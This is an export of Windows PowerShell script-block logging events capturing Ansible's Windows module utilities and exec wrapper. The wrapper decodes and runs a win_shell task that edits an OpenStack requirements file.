// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: acdb1860-f775-44a7-82ae-bd0a07d2a342
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1615 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0005-e5f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: daaf8bde-85dd-4fb2-9343-58aa04cb32e6
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1614 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0005-def2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 38029f1c-29bb-4196-aa8d-60af7f2af9f5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1613 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0001-1c28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
HdheSB3aGljaCBQb3dlclNoZWxsIDMKICAgIGFuZCBhYm92ZSBjYW4gaGFuZGxlCiM+CiAgICBJZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoIC1QYXRoVHlwZSBMZWFmKQogICAgewogICAgICAgIHN3aXRjaCAoJGFsZ29yaXRobSkKICAgICAgICB7CiAgICAgICAgICAgICdtZDUnIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMScgeyAkc3AgPSBOZXctT2JqZWN0IC1Ue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3VsdCAtbWVzc2FnZSAkXy5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "edit-constraints c:\\openstack\\build\\\\requirements\\\\upper-constraints.txt -- os-win \"-e file:///C:/openstack/build/os-win#egg=os-win\"", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: f87b23da-a9cc-4cc9-ba18-938cb649a38b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1612 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0005-cdf2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
XVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAg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dXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9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YWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXM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oZSBtb2R1bGUuCiAgICAuRVhBTVBMRQogICAgJHBhcmFtcyA9IFBhcnNlLUFyZ3MgJGFyZ3MKIz4KICAgICRwYXJhbXMgPSBOZXctT2JqZWN0IHBzb2JqZWN0CiAgICBJZiAoJGFyZ3VtZW50cy5MZW5ndGggLWd0IDApCiAgICB7CiAgICAgICAgJHBhcmFtcyA9IEdldC1Db250ZW50ICRhcmd1bWVudHNbMF0gfCBDb252ZXJ0RnJvbS1Kc29uCiAgICB9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX2Fuc2libGVfY2hlY2tfbW9kZSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQogICAgSWYgKCRjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2t